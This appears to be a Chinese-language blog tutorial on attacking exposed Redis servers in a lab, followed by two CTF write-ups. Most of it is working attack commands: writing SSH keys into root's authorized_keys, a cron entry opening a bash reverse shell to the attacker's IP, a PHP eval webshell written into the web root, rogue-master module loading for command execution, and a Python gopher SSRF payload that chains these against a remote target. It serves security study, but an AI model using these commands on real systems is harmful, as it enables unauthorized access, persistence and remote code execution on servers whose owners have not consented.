如何攻击Redis

测试环境

攻击机:kali 10.211.55.12
Redis:ubuntu 10.211.55.18

攻击手法

未授权登录

修改配置文件

bind 0.0.0.0		# 允许远程登录
config set protected-mode no		# 关闭安全模式
# requirepass your_password			注释掉这一行,禁用密码认证,不过配置文件中默认是没有这一行的

ubuntu上用redis-server /etc/redis.conf启动Redis服务指定配置文件。

kali上可以直接连接到这个Redis,执行redis-cli -h 10.211.55.18

写文件

写文件执行的命令为

config set dir /tmp/  	# 设置保存目录
config set dbfilename evil.rdb     # 设置保存文件名
set key "value"		# 输入数据
save 		# 执行备份

文件中内容如下

基于这个特性我们就可以来写ssh公钥,webshell,计划任务反弹shell

SSH公钥登录

下载开启ssh服务

apt install openssh-server
systemctl start ssh

编辑ssh配置文件/etc/ssh/sshd_config

PubkeyAuthentication yes			# 启用公钥认证
PasswordAuthentication no			# 禁用密码认证

重启ssh服务systemctl restart ssh

在kali上生成密钥对ssh-keygen -t rsa

保存公钥文件(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > kali

在Redis添加公钥记录,同时保存到/root/.ssh/authorized_keys

cat kali | redis-cli -h 10.211.55.18 -x set kali 

redis-cli -h 10.211.55.18
10.211.55.18:6379> config set dir /root/.ssh/
OK
10.211.55.18:6379> config set dbfilename authorized_keys
OK
10.211.55.18:6379> save

/root/.ssh/authorized_keys内容为,这是可以被识别出来的

免密登录ssh -i /root/.ssh/id_rsa root@10.211.55.18

写计划任务

快速入门

Linux的计划任务通常是通过cron服务来实现的。cron是一个守护进程,可以定期执行用户预定的任务。用户可以通过crontab命令来管理自己的计划任务。

如何写计划任务:

  1. **编辑Cron任务:**输入crontab -e命令,这会打开一个文本编辑器,允许你编辑你的计划任务。
  2. **添加任务:**在编辑器中,你可以添加新的任务。任务的格式如下:
* * * * * /path/to/command arg1 arg2

字段的意义:

  • 第1个 *:分钟(0-59)
  • 第2个 *:小时(0-23)
  • 第3个 *:一个月中的第几天(1-31)
  • 第4个 *:月份(1-12)
  • 第5个 *:一周中的第几天(0-7,0和7都代表星期日)
  • /path/to/command arg1 arg2:要运行的命令及其参数

示例:每天的5:30运行 /path/to/script.sh

30 5 * * * /path/to/script.sh

如何取消计划任务:

  1. **列出当前的Cron任务:**输入 **crontab -l** 命令,这会列出你当前的所有计划任务。
  2. 删除特定任务
    • 输入 **crontab -e** 命令,打开编辑器。
    • 在编辑器中,找到并删除你想取消的任务的相应行。
  3. **删除所有任务:**如果你想删除所有任务,可以使用 **crontab -r** 命令。

/var/spool/cron/目录

  • /var/spool/cron/ 是 Linux 系统中一个特殊的目录,用于存储用户的 crontab 文件。
  • 当用户使用 crontab -e 命令编辑自己的 cron 任务时,这些任务被保存在 /var/spool/cron/ 目录下。
  • 每个用户有一个与其用户名同名的文件。
  • cron 守护进程会定期读取 /var/spool/cron/ 目录中的文件,根据其中定义的计划执行相应的任务。

通过计划任务反弹shell

这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行。否则会报错(root) INSECURE MODE (mode 0600 expected)。而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

同时,redis保存RDB会存在乱码。这在Ubuntu上会报错,而在Centos上不会报错。

另外,由于系统的不同,crontrab定时文件位置也会不同

  • Centos的定时任务文件在/var/spool/cron/<username>
  • Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
# * * * * * 表示每分钟、每小时、每天、每月、每周的每天都会执行
set x "\n* * * * * bash -i >& /dev/tcp/10.211.55.12/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

/var/spool/cron/root文件内容

写WebShell

网站的绝对路径已知

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

主从复制

主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

大致原理上就是Redis加载了一个恶意模块,让Redis命令行可以执行系统命令。克隆RedisModules-ExecuteCommand到本地,进入src目录执行make,会提示一些警告但不影响。

执行完成后,在目录下出现的module.so就是我们让目标加载的恶意模块。在redis命令行中使用MODULE LOAD PATH加载

也可以启动reids时用--loadmodule指定加载的模块

知道大致原理后,了解下这个脚本的用法https://github.com/n0b0dyCN/redis-rogue-server。克隆之后将目录下的exp.so替换为我们之前编译出来的module.so(注意名称使用exp.so),指定本机IP和目标IP运行,然后就可以执行命令了

python3 redis-rogue-server.py --lhost 10.211.55.12 --rhost 10.211.55.18

上面是目标和攻击机可以互相访问的情况,还有一种Redis在内网无法被直接访问的情况。之前柏鹭杯找了一个脚本https://github.com/Dliv3/redis-rogue-server,这里有一个被动连接模式就可以做。

下载这个脚本,同样将里面的exp.so替换掉。然后用python3 redis-rogue-server.py --server-only启动,脚本会监听21000端口

当在目标机器上执行slaveof命令后,slave会将这些数据保存到设置的dbfilename文件中(默认是./dump.db)。

10.211.55.18:6379> config set dir /tmp
OK
10.211.55.18:6379> config set dbfilename evil.rdb
OK
10.211.55.18:6379> slaveof 10.211.55.12 21000
OK

数据传入成功

目标服务器上已经同步好文件了

使用module load /tmp/evil.rdb加载,然后就可以执行命令了

CTF

[2023柏鹭杯]综合7

没有环境就简单复盘下。参考星盟的WP

其实拿到Redis信息之后就是一个简单的Redis利用,虽然Java机上没有redis-cli,但是可以上传个frpc去做内网穿透,然后就可以在kali上攻击Redis了。

Anyway,写计划任务、公钥、主从复制都行,不过没有想到frpc确实是渗透经验太少了😢

[网鼎杯 2020 玄武组]SSRFMe

0.0.0.0绕过

传参?url=http://0.0.0.0/hint.php

// hint.php
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

提示redis,使用gopher让目标执行主从复制

from urllib.parse import quote
import requests
# tcp_payload = "auth root\r\nconfig get dir\r\nquit\r\n"
tcp_payload = "auth root\r\nconfig set dir /tmp\r\nconfig set dbfilename evil.rdb\r\nSLAVEOF 47.115.227.70 2100\r\nMODULE LOAD /tmp/evil.rdb\r\nsystem.exec 'nl /*'\r\nquit\r\n"
print(tcp_payload)
inner_url = f"gopher://0.0.0.0:6379/_{quote(quote(tcp_payload))}"
# print(inner_url)
url = "http://5a210ce2-e8d9-49c2-a823-f715204a1cce.node4.buuoj.cn:81/?url=" + inner_url
resp = requests.get(url)
print(resp.text)

这里似乎是我VPS的问题,无法给从机传数据

先这样吧....

参考链接

https://xz.aliyun.com/t/12362
https://www.cnblogs.com/loongten/p/15838580.html
https://paper.seebug.org/975/
https://github.com/Dliv3/redis-rogue-server
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand